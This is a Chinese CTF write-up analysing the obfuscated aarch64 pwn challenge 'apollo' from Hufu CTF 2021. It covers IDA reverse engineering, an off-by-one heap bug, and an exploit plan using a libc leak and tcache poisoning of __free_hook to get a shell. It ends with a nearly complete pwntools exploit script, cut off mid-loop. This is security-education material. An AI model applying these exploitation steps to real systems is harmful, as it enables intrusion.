从虎符2021两道Pwn题学习ARM64

阅读量    431743 |

分享到: QQ空间 新浪微博 微信 QQ facebook twitter

通过对虎符CTF 2021中两道pwn题的详细分析,来学习Arm64的相关知识

简介

这两个Pwn都是基于aarch64的,而且都采用了混淆,看不出题目本来的逻辑,Ghidra干脆啥都看不出来,ida可以看汇编,因此建议读者先学一下aarch64汇编,对常用指令有基本的认识

 

Apollo

分析

程序为aarch64Arm64,保护全开

➜  apollo checksec apollo         
[*] '/root/work/ctf/race/2021/hufuctf/apollo/apollo'
    Arch:     aarch64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

用ida分析一下,这里申请了一个 0x1000的堆块,并且向堆块中写入数据,之后交由 magic函数处理

__int64 sub_25CC()
{
  ssize_t v0; // x0
  __int64 v2; // [xsp+18h] [xbp+18h]

  chunk = (__int64)malloc(0x1000uLL);
  if ( !chunk )
    puts("Init fail!");
  printf("cmd> ");
  v0 = read(0, (void *)chunk, 0x1000uLL);
  magic(v0);
  return v2 ^ _stack_chk_guard;
}

再跟进到magic函数里就发现 ida 已经识别不出来了,我最开始觉得这些伪代码是某种寄存器初始化,或者是完全混乱的代码,所以一头扎进汇编里面去了

现在想想有点蠢,主要是没有去分析其他函数,而且人的惰性很可怕,看一会汇编看不出来之后,后面也看不进去了

void magic()
{
  _QWORD v0[12]; // [xsp+58h] [xbp+58h]

  v0[0] = off_14010;
  v0[1] = off_14018[0];
  v0[2] = off_14020[0];
  v0[3] = off_14028[0];
  v0[4] = off_14030[0];
  v0[5] = off_14038[0];
  v0[6] = off_14040[0];
  v0[7] = off_14048[0];
  v0[8] = off_14050[0];
  v0[9] = off_14058;
  v0[10] = off_14060;
  v0[11] = off_14068;
  __asm { BR              X0 }
}
STP             X29, X30, [SP,#var_C0]!
; 初始化与canary相关
.text:0000000000000E18                 MOV             X29, SP
.text:0000000000000E1C                 STR             X19, [SP,#0xC0+var_B0] 
.text:0000000000000E20                 ADRP            X0, #0x13000
.text:0000000000000E24                 LDR             X0, [X0,#__stack_chk_guard_ptr@PAGEOFF]
.text:0000000000000E28                 LDR             X1, [X0]
.text:0000000000000E2C                 STR             X1, [X29,#0xC0+var_8]
.text:0000000000000E30                 MOV             X1, #0  ; canary
.text:0000000000000E34                 ADRP            X0, #off_14010@PAGE
.text:0000000000000E38                 ADD             X1, X0, #off_14010@PAGEOFF
.text:0000000000000E3C                 ADD             X0, X29, #0x58 ; 'X'
.text:0000000000000E40                 LDP             X2, X3, [X1] ; pop x1 to x2 and x3
.text:0000000000000E44                 STP             X2, X3, [X0] ; push x2 x3 to x0
.text:0000000000000E48                 LDP             X2, X3, [X1,#0x10]
.text:0000000000000E4C                 STP             X2, X3, [X0,#0x10]
.text:0000000000000E50                 LDP             X2, X3, [X1,#0x20]
.text:0000000000000E54                 STP             X2, X3, [X0,#0x20]
.text:0000000000000E58                 LDP             X2, X3, [X1,#0x30]
.text:0000000000000E5C                 STP             X2, X3, [X0,#0x30]
.text:0000000000000E60                 LDP             X2, X3, [X1,#0x40]
.text:0000000000000E64                 STP             X2, X3, [X0,#0x40]
.text:0000000000000E68                 LDP             X1, X2, [X1,#0x50]
.text:0000000000000E6C                 STP             X1, X2, [X0,#0x50]
.text:0000000000000E70                 ADRP            X0, #off_13F98@PAGE
.text:0000000000000E74                 LDR             X0, [X0,#off_13F98@PAGEOFF]
.text:0000000000000E78                 LDR             X0, [X0]
.text:0000000000000E7C                 STR             X0, [X29,#0xC0+var_78]
.text:0000000000000E80                 LDR             X0, [X29,#0xC0+var_78]
.text:0000000000000E84                 STR             X0, [X29,#0xC0+var_70]
.text:0000000000000E88                 LDR             X0, [X29,#0xC0+var_78]
.text:0000000000000E8C                 LDRB            W0, [X0]
.text:0000000000000E90                 MOV             W1, W0
; 获取jump_table
.text:0000000000000E94                 ADRP            X0, #off_13FE8@PAGE ; "\n"
.text:0000000000000E98                 LDR             X0, [X0,#off_13FE8@PAGEOFF] ; "\n"
.text:0000000000000E9C                 SXTW            X1, W1
;通过我们的输入来索引jump_table
.text:0000000000000EA0                 LDR             W0, [X0,X1,LSL#2] 
.text:0000000000000EA4                 SXTW            X0, W0
.text:0000000000000EA8                 LSL             X0, X0, #3
; 获取func_table
.text:0000000000000EAC                 ADD             X1, X29, #0x58 ; 'X' 
 ; 索引要跳转的函数
.text:0000000000000EB0                 LDR             X0, [X1,X0]
.text:0000000000000EB4                 B               loc_ED0

通过分析 magic函数的汇编代码,我们发现了两个数组

  • 位于 0x014010func_table
  • 位于 0x03770jump_table

在函数运行过程中,会将用户输入的第一个字符转换成 ascii码,与 jump_table进行匹配,获取到索引值,如果索引值不是 11的话(func_table只有11个函数)

就依照此索引找到 func_table中的函数并执行

func_table

.data:0000000000014010 off_14010       DCQ loc_EB8
.data:0000000000014018 off_14018       DCQ sub_1018
.data:0000000000014020 off_14020       DCQ sub_11F4
.data:0000000000014028 off_14028       DCQ sub_1394
.data:0000000000014030 off_14030       DCQ sub_14D4
.data:0000000000014038 off_14038       DCQ sub_1620
.data:0000000000014040 off_14040       DCQ sub_1990
.data:0000000000014048 off_14048       DCQ sub_1D10
.data:0000000000014050 off_14050       DCQ sub_2080
.data:0000000000014058 off_14058       DCQ sub_2400
.data:0000000000014060 off_14060       DCQ sub_2550
.data:0000000000014068 off_14068       DCQ sub_2514

jump_table

在IDA中,jump_table可能并不是以数组的形式显示,这会影响我们的判断,因此需要先进行处理

首先选中 dword_3770,右键选择 undefine来重置变量类型,接着按 D键(右键选择data)把数据格式转换为4字节(DCD)

之后右键选择 array, size选择256,即可将8位数据转化为数组

这里插播一点关于aarch64伪指令的小知识

  • DCB分配一段字节的内存单元,其后的每个操作数都占有一个字节
  • DCW分配一段半字的内存单元,其后的每个操作数都占有两个字节
  • DCD分配一段字的内存单元,其后的每个操作数都占有4个字节
  • DCQ分配一段双字的内存单元,其后的每个操作数都占有8个字节
.rodata:0000000000003770 jump_table      DCD 0xA, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
.rodata:0000000000003770                 DCD 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
.rodata:0000000000003770                 DCD 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
.rodata:0000000000003770                 DCD 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 1, 3
.rodata:0000000000003770                 DCD 0xB, 4, 0xB, 2, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
.rodata:0000000000003770                 DCD 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
.rodata:0000000000003770                 DCD 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
.rodata:0000000000003770                 DCD 0, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
.rodata:0000000000003770                 DCD 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 7, 0xB
.rodata:0000000000003770                 DCD 0xB, 8, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
.rodata:0000000000003770                 DCD 0xB, 0xB, 9, 0xB, 0xB, 6, 0xB, 0xB, 0xB, 5, 0xB, 0xB
.rodata:0000000000003770                 DCD 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
.rodata:0000000000003770                 DCD 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
.rodata:0000000000003770                 DCD 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
.rodata:0000000000003770                 DCD 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
.rodata:0000000000003770                 DCD 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
.rodata:0000000000003770                 DCD 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
.rodata:0000000000003770                 DCD 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
.rodata:0000000000003770                 DCD 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
.rodata:0000000000003770                 DCD 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
.rodata:0000000000003770                 DCD 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
.rodata:0000000000003770                 DCD 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
.rodata:0000000000003770                 DCD 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
.rodata:0000000000003770                 DCD 0xB, 0xB

关于 func_tablejump_table之间的匹配关系,我们可以通过脚本来转化, 最后结果如下:

这里的脚本引用自轩哥博客:https://xuanxuanblingbling.github.io/ctf/pwn/2021/04/03/hufu/

jump_table = [0xA, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
    ,0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
    ,0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
    ,0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 1, 3
    ,0xB, 4, 0xB, 2, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
    ,0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
    ,0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
    ,0, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
    ,0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 7, 0xB
    ,0xB, 8, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
    ,0xB, 0xB, 9, 0xB, 0xB, 6, 0xB, 0xB, 0xB, 5, 0xB, 0xB
    ,0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
    ,0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
    ,0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
    ,0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
    ,0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
    ,0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
    ,0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
    ,0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
    ,0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
    ,0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
    ,0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
    ,0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
    ,0xB, 0xB]
func_table = ["loc_EB8"
            ,"sub_1018"
            ,"sub_11F4"
            ,"sub_1394"
            ,"sub_14D4"
            ,"sub_1620"
            ,"sub_1990"
            ,"sub_1D10"
            ,"sub_2080"
            ,"sub_2400"
            ,"sub_2550"
            ,"sub_2514"]
index = 0
for i in jump_table:
    if i != 0xb:
        print("%s:%d:%s"%(chr(index),i,func_table[i]))
    index += 1
➜  apollo python jump_table.py 
:10:sub_2550   
*:1:sub_1018
+:3:sub_1394
-:4:sub_14D4
/:2:sub_11F4
M:0:loc_EB8
a:7:sub_1D10
d:8:sub_2080
p:9:sub_2400
s:6:sub_1990
w:5:sub_1620

关键函数功能分析

通过以上分析我们已经找到了输入与函数调用之间的关系,那么下一步就是分析每个函数所对应的功能,但分析的时候我们发现很多函数中有未知的全局变量,不太好分析,因此我们先找一下这些全局变量在什么地方被赋值

sub_2550 -> finish

这个函数非常简单,直接输出finish并退出

void __noreturn finish()
{
  puts("Finish");
  exit(1);
}
loc_eb8 -> init

这个函数比较特殊,如果在ida中按 F5反编译的话,会直接显示 magic的伪代码,也就是说ida把它认作了 magic函数的一部分

(其实也没啥错,毕竟函数跳转之后栈帧都没变,但这样比较影响我们分析,因此要将 loc_eb8magic分离)

  • sub_E14处右键Edit function,设置end address0xeb8
  • loc_EB8处右键Create function,然后F5即可:
    __int64 sub_EB8()
    {
      __int64 v0; // x29
                                                    // v0+0x48指向用户输入
      if ( dword_14098
        || (input_char_1 = *(unsigned __int8 *)(*(_QWORD *)(v0 + 72) + 1LL),// 用户输入的第一个字符
            input_char_2 = *(unsigned __int8 *)(*(_QWORD *)(v0 + 72) + 2LL),// 输入的第二个字符
            input_char_1 > 16)
        || input_char_2 > 16
        || input_char_1 <= 3
        || input_char_2 <= 3 )
      {
        puts("Abort");
        exit(255);
      }
      qword_14088 = (__int64)calloc(input_char_1 * input_char_2, 1uLL);
      qword_14090 = (__int64)calloc(input_char_1 * input_char_2, 1uLL);
      dword_14098 = 1;
      *(_QWORD *)(v0 + 72) += 3LL;                  // 指向用户输入的第三个字符
      return (*(__int64 (**)(void))(v0 + 88 + 8LL * jump_table[**(unsigned __int8 **)(v0 + 72)]))();// 跳转
    }
    

这个函数的伪代码比较全,v0在arm64中保存的是栈基址,类似于x64中的rbp,如果你对之前 sub_e14汇编的逻辑比较了解的话,应该能意识到 v0+72指向的就是我们输入的内容

为了方便之后的分析,我们为v0建立一个结构体,过程如下:

首先进入 IDA中的 Structures窗口

这里前四行是Structures选项卡的使用说明,后三行是IDA自带的结构体,前四行翻译过来就是:

  • Insert/Delete键 创建和删除结构体
  • D/A/*键 添加不同类型的结构体成员,这里要注意光标位置不同D键的作用也不同
  • N键 对结构体或结构体成员重命名
  • U键 删除结构体成员

我们在这里按 insert新建结构体,出现如下界面,直接取个名字然后确定

之后按照之前分析的结果 v0+72是我们的输入,v0+58对应的是 func_table,因此我们的结构体可以先这样构造:

00000000 apollo_struct   struc ; (sizeof=0xA8, mappedto_33)
00000000 data1           DCB 72 dup(?)
00000048 input           DCB 16 dup(?)
00000058 func_table      DCB 80 dup(?)
000000A8 apollo_struct   ends
000000A8

完成后回到函数中,右键 v0,点击 convert to struct *,选择我们新建的结构体,效果如下

__int64 m_init()
{
  apollo_struct *v0; // x29
                                                // v0+0x48指向用户输入
  if ( init_flag
    || (y = *(unsigned __int8 *)(*(_QWORD *)v0->input + 1LL),// 用户输入的第一个字符
        x = *(unsigned __int8 *)(*(_QWORD *)v0->input + 2LL),// 输入的第二个字符
        y > 16)
    || x > 16
    || y <= 3
    || x <= 3 )
  {
    puts("Abort");
    exit(255);
  }
  calloc_1 = (__int64)calloc(y * x, 1uLL);
  calloc_2 = (__int64)calloc(y * x, 1uLL);
  init_flag = 1;
  *(_QWORD *)v0->input += 3LL;                  // 指向用户输入的第三个字符
  return (*(__int64 (**)(void))&v0->func_table[8 * jump_table[**(unsigned __int8 **)v0->input]])();// 跳转
}

这样这个函数的功能就完全清晰了,结合题目 开车的hint,这应该是一个 init函数

根据用户的输入初始化道路,申请两个chunk并且把 init_flag置1

sub_1018 -> add

这个函数的主要功能是申请堆块

首先将用户输入的第1~4个字符赋值给相应变量

接着做相应检查,将输入的 char1 char2 与 x y做比较,并且检查 calloc_1中 y*char1+char2位置是否已经有值, 如果没有值的话就将其置1

之后还有一个 size变量, size = char3 + char4<<8

之后会申请一个chunk,其大小为size,chunk地址存入 map+y*char1+char2

之后 read(0,map+y*char1+char2,size)

void add()
{
  apollo_struct *v0; // x29
  int v1; // w19

  if ( init_flag )
  {
    *(_DWORD *)&v0->data1[0x30] = *(unsigned __int8 *)(*(_QWORD *)v0->input + 1LL);
    *(_DWORD *)&v0->data1[0x34] = *(unsigned __int8 *)(*(_QWORD *)v0->input + 2LL);
    *(_DWORD *)&v0->data1[0x3C] = *(unsigned __int8 *)(*(_QWORD *)v0->input + 3LL);
    *(_DWORD *)&v0->data1[0x40] = *(unsigned __int8 *)(*(_QWORD *)v0->input + 4LL);
    *(_DWORD *)&v0->data1[0x44] = *(_DWORD *)&v0->data1[0x3C] + (*(_DWORD *)&v0->data1[0x40] << 8);// input_3 + input_4 << 8
    if ( *(_DWORD *)&v0->data1[0x30] < y
      && *(_DWORD *)&v0->data1[0x34] < x
      && !*(_BYTE *)(calloc_1 + x * *(_DWORD *)&v0->data1[0x30] + *(_DWORD *)&v0->data1[0x34])
      && *(int *)&v0->data1[0x44] > 0
      && *(int *)&v0->data1[0x44] <= 0x600 )
    {
      *(_BYTE *)(calloc_1 + x * *(_DWORD *)&v0->data1[0x30] + *(_DWORD *)&v0->data1[0x34]) = 1;
      v1 = x * *(_DWORD *)&v0->data1[0x30] + *(_DWORD *)&v0->data1[0x34];
      *((_QWORD *)&map + v1) = malloc(*(int *)&v0->data1[0x44]);
      read(
        0,
        *((void **)&map + x * *(_DWORD *)&v0->data1[0x30] + *(_DWORD *)&v0->data1[0x34]),
        *(int *)&v0->data1[0x44]);
      *(_QWORD *)v0->input += 5LL;
      JUMPOUT(0xED0LL);
    }
    JUMPOUT(0x256CLL);
  }
  puts("Abort");
  exit(255);
}
sub_11F4 -> del

和上一个函数相对,这个函数主要是释放堆块,且释放后会清空指针,因此不存在 uaf

在做一些检查后会释放 map+y*char1+char2处的堆块

并将 calloc_1 + y*char1+char2处置零

void del()
{
  apollo_struct *v0; // x29

  if ( init_flag )                              // /
  {
    *(_DWORD *)&v0->data1[0x30] = *(unsigned __int8 *)(*(_QWORD *)v0->input + 1LL);
    *(_DWORD *)&v0->data1[0x34] = *(unsigned __int8 *)(*(_QWORD *)v0->input + 2LL);
    if ( *(_DWORD *)&v0->data1[0x30] < y
      && *(_DWORD *)&v0->data1[0x34] < x
      && *(_BYTE *)(calloc_1 + x * *(_DWORD *)&v0->data1[0x30] + *(_DWORD *)&v0->data1[0x34]) == 1
      && *((_QWORD *)&map + x * *(_DWORD *)&v0->data1[0x30] + *(_DWORD *)&v0->data1[0x34]) )
    {
      free(*((void **)&map + x * *(_DWORD *)&v0->data1[0x30] + *(_DWORD *)&v0->data1[0x34]));
      *((_QWORD *)&map + x * *(_DWORD *)&v0->data1[0x30] + *(_DWORD *)&v0->data1[0x34]) = 0LL;// no uaf
      *(_BYTE *)(calloc_1 + x * *(_DWORD *)&v0->data1[0x30] + *(_DWORD *)&v0->data1[0x34]) = 0;
      *(_QWORD *)v0->input += 3LL;
      JUMPOUT(0xED0LL);
    }
    JUMPOUT(0x256CLL);
  }
  puts("Abort");
  exit(255);
}
sub_1394 -> set_light

char3赋值给 calloc_1 + y*char1 + char2

void set_light()
{
  apollo_struct *v0; // x29

  if ( init_flag )
  {
    *(_DWORD *)&v0->data1[0x30] = *(unsigned __int8 *)(*(_QWORD *)v0->input + 1LL);
    *(_DWORD *)&v0->data1[0x34] = *(unsigned __int8 *)(*(_QWORD *)v0->input + 2LL);
    *(_DWORD *)&v0->data1[0x38] = *(unsigned __int8 *)(*(_QWORD *)v0->input + 3LL);
    if ( *(_DWORD *)&v0->data1[0x30] < y
      && *(_DWORD *)&v0->data1[0x34] < x
      && !*(_BYTE *)(calloc_1 + x * *(_DWORD *)&v0->data1[0x30] + *(_DWORD *)&v0->data1[0x34])
      && *(int *)&v0->data1[0x38] > 1
      && *(int *)&v0->data1[0x38] <= 4 )
    {
      *(_BYTE *)(calloc_1 + x * *(_DWORD *)&v0->data1[0x30] + *(_DWORD *)&v0->data1[0x34]) = *(_DWORD *)&v0->data1[0x38];
      *(_QWORD *)v0->input += 4LL;
      JUMPOUT(0xED0LL);
    }
    JUMPOUT(0x256CLL);
  }
  puts("Abort");
  exit(255);
}
sub_14D4 -> del_light

calloc_1 + y*char1+char2位置置零

void del_light()
{
  apollo_struct *v0; // x29

  if ( init_flag )
  {
    *(_DWORD *)&v0->data1[0x30] = *(unsigned __int8 *)(*(_QWORD *)v0->input + 1LL);
    *(_DWORD *)&v0->data1[0x34] = *(unsigned __int8 *)(*(_QWORD *)v0->input + 2LL);
    if ( *(_DWORD *)&v0->data1[0x30] < y
      && *(_DWORD *)&v0->data1[0x34] < x
      && *(unsigned __int8 *)(calloc_1 + x * *(_DWORD *)&v0->data1[0x30] + *(_DWORD *)&v0->data1[0x34]) > 1u
      && *(unsigned __int8 *)(calloc_1 + x * *(_DWORD *)&v0->data1[0x30] + *(_DWORD *)&v0->data1[0x34]) <= 4u )
    {
      *(_BYTE *)(calloc_1 + x * *(_DWORD *)&v0->data1[0x30] + *(_DWORD *)&v0->data1[0x34]) = 0;
      *(_QWORD *)v0->input += 3LL;
      JUMPOUT(0xED0LL);
    }
    JUMPOUT(0x256CLL);
  }
  puts("Abort");
  exit(255);
}
sub_02400 -> show

这个函数的作用是输出

它会遍历小车行进的整个路线,如果当前位置的值为1,则输出该位置的坐标以及对应chunk的内容

void show()
{
  apollo_struct *v0; // x29

  if ( init_flag )
  {
    *(_DWORD *)&v0->data1[0x24] = 0;
    for ( *(_DWORD *)&v0->data1[0x24] = 0; *(_DWORD *)&v0->data1[0x24] < y * x - 1; ++*(_DWORD *)&v0->data1[0x24] )
    {
      *(_DWORD *)&v0->data1[0x28] = *(_DWORD *)&v0->data1[0x24] / x;// get now_y
      *(_DWORD *)&v0->data1[0x2C] = *(_DWORD *)&v0->data1[0x24] - x * *(_DWORD *)&v0->data1[0x28];// get now_x
      if ( *(_BYTE *)(calloc_1 + *(int *)&v0->data1[0x24]) == 1 )
      {
        printf("pos:%d,%d\n", *(unsigned int *)&v0->data1[0x28], *(unsigned int *)&v0->data1[0x2C]);
        puts(*((const char **)&map + *(int *)&v0->data1[0x24]));
      }
    }
    ++*(_QWORD *)v0->input;
    JUMPOUT(0xED0LL);
  }
  JUMPOUT(0x25B8LL);
sub_1620[down], sub_1990[up], sub_1d10[left], sub_2080[right]

这几个函数对应的输入索引是 w a s d,因此应该能猜出来其对应的功能是控制小车运动

此外,这几个函数中出现了三个未知的变量 dword_140A4 dword_140A8以及 dword_14080

通过这段代码,结合函数的功能,猜测dword_140A4x相关,dword_140A8y相关,而 dword_14080应该是用来记录操作步数的

v1 = dword_14080++;
*(_BYTE *)(calloc_2 + dword_140A4 * y + dword_140A8) = v1;

具体是不是这样,我们可以进去调试一下,经过调试后发现,当我们不进行任何操作,在初始化后就直接调用 w a s d对应的函数时

dword_140A4 dword_140A8以及 dword_14080都为0

而当我们控制小车运动时,这几个变量的值也会相应发生变化,那么也就验证了我们的猜测。

在此我已up函数为例来分析一下

void s_up()
{
  apollo_struct *v0; // x29
  char v1; // w0

  if ( init_flag )
  {
    if ( y - 1 > current_y
      && *(_BYTE *)(calloc_1 + (current_y + 1) * x + current_x) != 1
      && *(_BYTE *)(calloc_1 + (current_y + 1) * x + current_x) != 4 )
    {
      *(_BYTE *)(calloc_1 + current_y * x + current_x) = 0;
      if ( *(_BYTE *)(calloc_1 + (current_y + 1) * x + current_x) )
      {
        if ( *(_BYTE *)(calloc_1 + (current_y + 1) * x + current_x) == 2
          || *(_BYTE *)(calloc_1 + (current_y + 1) * x + current_x) == 3 )
        {
          *(_BYTE *)(calloc_1 + (current_y + 2) * x + current_x) = 5;
          current_y += 2;
        }
      }
      else
      {
        *(_BYTE *)(calloc_1 + ++current_y * x + current_x) = 5;
      }
    }
    v1 = step_count++;
    *(_BYTE *)(calloc_2 + current_y * x + current_x) = v1;
    ++*(_QWORD *)v0->input;
    JUMPOUT(0xED0LL);
  }
  puts("Abort");
  exit(255);
}

当小车的前方位置值不是 1或4时,小车前进 1格,之后将所在位置的值置为 5

当小车的前方位置值是 2或3时,小车前进 2格,之后将所在位置的值置为 5

函数对于 current_y的限制是y - current_y > 1,这就造成了一个 off-by-one,如果我们令y - current_y = 2

那么前进过后 current_y = y, current_y * x = x * y, 此时 *(_BYTE *)(calloc_2 + current_y * x + current_x) = v1就会溢出一个字节,溢出的位置由 current_x决定

总结

至此我们已经完成了所有重点函数的分析,函数索引表也可以更新一下了

:10:finish  
*:1:add
+:3:set_light
-:4:del_light
/:2:del
M:0:init
a:7:left
d:8:right
p:9:show
s:6:up
w:5:down

利用思路

在完整的理清了程序的逻辑与漏洞点后,我们就可以开始构思利用思路了

实际上在看懂程序后,这道题的思路很简单,就是利用 off by one构造堆块重叠,之后通过重叠泄露libc基地址

再利用 tcache poison将堆块申请到 free_hook位置,写入 system

最后释放一个内容为 /bin/sh\x00的堆块,getshell

泄露libc

这里我采用的方法比较简单暴力,首先申请若干 0x20大小的chunk和 0xa0大小的chunk,之后释放 0xa0大小的chunk使其填满 tcache

只有利用 off-by-one修改第一个 0x20大小chunk的size为0xa1,并将其释放,这时由于 0xa0的tcache已经被填满,且堆块的大小已经超出了 fastbin的范围,因此会被放入 unsorted bin中,此时这个chunk中就会被写入 libc base相关的地址,之后申请一个 0x40大小的chunk,使得 libc base相关地址落在实际上没有被释放的堆块上,这样我们再调用 show功能时就能获得 libc base地址

tcache poison

此时我们已经知道了 libc基址

因此,这一步只需要利用上一步构造的堆块重叠,通过越界写的方式将 free_hook写到 tcache链上完成投毒

之后申请该chunk,写入 system地址,free一个内容为 binsh的chunk,完成整个利用,详见EXP

EXP

#!/usr/bin/python
#coding=utf-8
#__author__:N1K0_

from pwn import *
import inspect
from sys import argv

def leak(var):
    callers_local_vars = inspect.currentframe().f_back.f_locals.items()
    temp =  [var_name for var_name, var_val in callers_local_vars if var_val is var][0]
    p.info(temp + ': {:#x}'.format(var))

s      = lambda data               :p.send(data) 
sa      = lambda delim,data         :p.sendafter(delim, data)
sl      = lambda data               :p.sendline(data)
sla     = lambda delim,data         :p.sendlineafter(delim, data)
r      = lambda numb=4096          :p.recv(numb)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
uu32    = lambda data               :u32(data.ljust(4, b'\0'))
uu64    = lambda data               :u64(data.ljust(8, b'\0'))
plt     = lambda data               :elf.plt[data]
got     = lambda data               :elf.got[data]
sym     = lambda data               :libc.sym[data]
itr     = lambda                    :p.interactive()

local_libc  = '/lib/x86_64-linux-gnu/libc.so.6'
local_libc_32 = '/lib/i386-linux-gnu/libc.so.6'
remote_libc = '/lib/libc.so.6'
binary = './apollo'
context.binary = binary
elf = ELF(binary,checksec=False)

p = process(["qemu-aarch64", "-L", ".","-g", "1234","./apollo"])
if len(argv) > 1:
    if argv[1]=='r':
        p = remote('8.140.179.11',13422)
# libc = elf.libc
libc = ELF(remote_libc)

def dbg(cmd=''):
    os.system('tmux set mouse on')
    context.terminal = ['tmux','splitw','-h']
    gdb.attach(p,cmd)
    pause()

# start 
# context.log_level = 'DEBUG'
"""
b *(0x4000000000+0x0e14) 跳转函数
b *(0x4000000000+0x1620)
b *(0x4000000000+0xeb8)
b *(0x4000000000+0xed0)
b *(0x4000000000+0x2400) show
b *(0x4000000000+0x2550) finish

:10:finish  
*:1:add
+:3:set_light
-:4:del_light
/:2:del
M:0:init
a:7:left
d:8:right
p:9:show
s:6:up
w:5:down

map 0x40000140b0
calloc_1 0x40009af270
calloc_2 0x40009af380
current_y 0x40000140a4
current_x 0x40000140a8
step_count 0x4000014080
read_got 0x4000013f30
chunk0 0x40009af490
"""

def init(y,x):
    data = 'M' + p8(y) + p8(x)
    return data
def add(y,x,size):
    data = '*'+p8(y)+p8(x)+p16(size)
    return data
def free(y,x):
    data = '/'+p8(y)+p8(x)
    return data
def set_light(y,x,light):
    data = '+'+p8(y)+p8(x)+p8(light)
    return data
def del_light(y,x):
    data = '-'+p8(y)+p8(x)
    return data
def up():
    return 's'
def down():
    return 'w'
def left():
    return 'a'
def right():
    return 'd'

ru("cmd>")
pl = init(0x10,0x10)
pl+= set_light(0xf,8,2)
# ------------------------------------------ 1 利用offbyone修改chunk0的size,之后free进usbin,造成堆块重叠的同时将含有
#-------------------------------------------   libc_base的地址写入堆块,之后切割堆块并通过show功能输出libc_base
for i in range(5):
    pl+= add(0,9+i,0x10)
for i in range(5):
    pl+= add(1,9+i,0x10)
for i in range(4):
    pl+= add(2,9+i,0x90)
for i in range(4):
    pl+= add(3,9+i,0x90)

for i in range(4):
    pl+= free(3,0xc-i)
for i in range(3):
    pl+= free(2,0xc-i)

# off by one 
pl+= 'd'*8
pl+= 'sw'*69
pl+= 's'*0x10
# free修改过size的chunk,堆块重叠
pl+= free(0,9)
# 切割堆块,在chunk2位置写下libc base
pl+= add(4,9,0x30)
# show 泄露地址
pl+= 'p'
# -------------------------------------------- 2 tcache poison, set free_hook to system then 
pl+= free(0,12)
pl+= free(0,10)
pl+= free(4,9)
pl+= add(4,9,0x30)
pl+= add(4,10,0x10)
pl+= add(4,11,0x10)
# -------------------------------------------- 3 trigger get shell
pl+= free(4,10)

s(pl)
sleep(0.1)
for i in range(10):
    s('/bin/sh\x00')
    sleep(0.1)
for i in range(9):
